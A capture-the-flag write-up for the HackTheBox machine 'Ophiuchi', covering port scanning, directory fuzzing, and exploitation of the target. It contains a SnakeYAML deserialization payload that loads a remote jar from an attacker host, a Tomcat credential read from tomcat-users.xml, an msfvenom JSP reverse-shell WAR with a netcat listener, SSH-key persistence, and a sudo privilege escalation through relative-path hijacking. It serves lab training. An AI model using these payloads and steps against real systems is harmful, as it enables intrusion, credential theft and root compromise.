
### Port Scanning and General Enumeration (Nmap, FFuF)
Starting off with an all ports scan
```
nmap -p- -T4 -oN nmap/allports 10.10.10.226
```
All ports can shows `22` and `8080` up, so we can target those
```
nmap -p22,80 -T4 -sC -sV -oN nmap/targeted 10.10.10.226
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-22 04:16 EDT
Nmap scan report for 10.10.10.227
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.14 seconds
```
We can see that **Apache Tomcat 9.0.38** is running on port **8080**. Let's check it out

Clicking parse gives us an error
```
Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
```
**FFuF** on the main site with the [Seclists common directory wordlist](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt) matching all filtering 404
```
ffuf -u http://10.10.10.226:8080/FUZZ -w /wordlist.txt -mc all -fc 404
Servlet [Status: 200, Size: 0, Words: 1, Lines: 1]
host-manager [Status: 302, Size: 0, Words: 1, Lines: 1]
manager [Status: 302, Size: 0, Words: 1, Lines: 1]
test [Status: 302, Size: 0, Words: 1, Lines: 1]
```
`/host-manager/` and `/manager` are basic auth login pages for **tomcat** and default creds do not seem to work.
**POSTING** to `/Servlet` with no data triggers an error
```
curl -X POST http://10.10.10.227:8080/Servlet -d 'data='
```

While researching **SnakeYAML** I found a [link](https://www.fatalerrors.org/a/analysis-of-the-snakeyaml-deserialization-in-java-security.html) that describes a deserialize vulnerability in detail
---
### Access (SnakeYAML Deserialization Vulnerability, msfvenom, Tomcat, Artsploit yaml-payload)
After studying the link about the SnakeYAML Deserialization Vulnerability I did some research on the best way to create a payload and ran in to [artsploit yaml-payload](https://github.com/artsploit/yaml-payload)
First, let's check to see if we can actually use this against the site. Remember, the error said that it was down due to a security issue.
Fire up a web server with something like python
```
python3 -m http.server
```
And send the test object from the github page as data in a post request (I used **BurpSuite**, you can use whatever you like to send post requests)
```
data=!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://YOURIP:YOURPORT/"]
]]
]
```
Andddd...

Even with the error, it works!
> This is where you can deviate. I didn't get a reverse shell with this method on my initial compromise of the box, it was just an avenue which allowed me to get one. There are plenty of ways to get a shell that I just didn't see initially, so I'm going to outline the way I did it
Let's hop back into the yaml-payload tool and go over it. First, we need to edit the `AwesomeScriptEngineFactory.java` file in the `src/artsploit` directory. I'm going to make the server start a python webserver to give me access to the file system.
Here's the important function:
```
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("python3 -m http.server");
} catch (IOException e) {
e.printStackTrace();
}
}
```
Now you need to compile it using
```
javac src/artsploit/AwesomeScriptEngineFactory.java
```
And
```
jar -cvf yaml-payload.jar -C src/ .
```
Now just pop open your own python webserver `python3 -m http.server` and point the object you used earlier for testing at it. Here's what it should look like now:
```
data=!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://YOURIP:YOURPORT/yaml-payload.jar"]
]]
]
```
Send it off and...

See if we have access by browsing to `http://10.10.10.227:8000`

Nice! We can do some enumeration, download `/etc/passwd` etc, but what we're really interested in is the credentials to log into the `manager` app for **Tomcat**. Reading the docs, it says that the credentials are stored in an **XML** file in the `/conf` directory. In this case it's at `/opt/tomcat/conf/tomcat-users.xml` which has this entry
```
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
```
We can now log in to `/manager` with the credentials `admin:whythereisalimit`

Now that we're here, we can deploy a malicious **WAR** file to give us a shell. Let's use **msfvenom** to generate one
```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOURIP LPORT=4444 -f war -o revshell.war
```
Choose the **war** file you just generated and click **deploy**. You should see something like

Start a listener `nc -lvnp 4444` and navigate to `http://10.10.10.227:8080/revshell`

Let's stabalize this shell a bit
```
python3 -c 'import pty; pty.spawn("/bin/bash");'
export TERM=xterm
```

That should be good enough for now. From here we can do some more enumeration, but we're just the `tomcat` user. Let's read the `/etc/passwd` file to see if there's a user we can hop to
```
cat /etc/passwd | cut -d ':' -f 1
.
.
.
systemd-coredump
lxd
tomcat
admin
```
**admin** user huh? What if the password for the **admin** user is the same as it was for the `/manager/` app? It happens more often than you think...

... well, capture the user flag

---
### Privesc (golang, wasm, wabt, wasm2wat, wat2wasm)
First things first. Let's get us a better shell.
```
cd ~
mkdir .ssh
touch .ssh/authorized_keys
chmod 700 .ssh && chmod 600 authorized_keys
echo 'YOURPUBLICKEY' >> .ssh/authorized_keys
```
Create a key pair if you don't already have one using `ssh-keygen`.
Now we can **ssh** into the box.
`ssh
[email protected] -i id_rsa`
That's way better.
So, we're the user **admin**. What can we do? Let's start with sudo
```
sudo -l
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
```
Well, let's see what `/opt/wasm-functions/index.go` is
```
unc main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
```
This reads the file `main.wasm`, checks if the result.String() is equal to '1'. If not, prints 'Not ready to deploy', but if it is, it runs `deploy.sh`
The interesting thing about this script is that it doesn't use direct paths. Example: `/home/user/file` vs `file`. That means this program will load `main.wasm` and `deploy.sh` from wherever the script is called. If we call it from `/home/user` then it will look in `/home/user` for those two scripts!
Let's use a tool called **WABT** to anaylize the `main.wasm` file. Copy it to your machine and browse over to [https://webassembly.github.io/wabt/demo/wasm2wat/](https://webassembly.github.io/wabt/demo/wasm2wat/) and upload the file.
You should see something like this
```
(module
(type $t0 (func (result i32)))
(func $info (export "info") (type $t0) (result i32)
(i32.const 0))
(table $T0 1 1 funcref)
(memory $memory (export "memory") 16)
(global $g0 (mut i32) (i32.const 1048576))
(global $__data_end (export "__data_end") i32 (i32.const 1048576))
(global $__heap_base (export "__heap_base") i32 (i32.const 1048576)))
```
The interesting part is `(i32.const 0)`, change that `0` to `1`, (because we need the variable to be '1'). Copy the code and head on over to the other tool **wat2wasm** [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)
Simply paste the **wat** code from before into the **wat** box and download the new file. Change the name from `test.wasm` to `main.wasm` and transfer it back to the box and into **admin's** home directory
That was the hard part, the rest is easy! We just need to write a new `deploy.sh` script in **admin's** home directory that can do whatever you want it to do as it will be run as **root**.
Personally, I just had it cat the root flag
```
#!/bin/bash
cat /root/root.txt
```
Run it and claim your prize!

---
Back to [[HackTheBox Index]]
Tags: #htb #hackthebox #snakeyaml #deserialization #msfvenom #java #yaml
Related: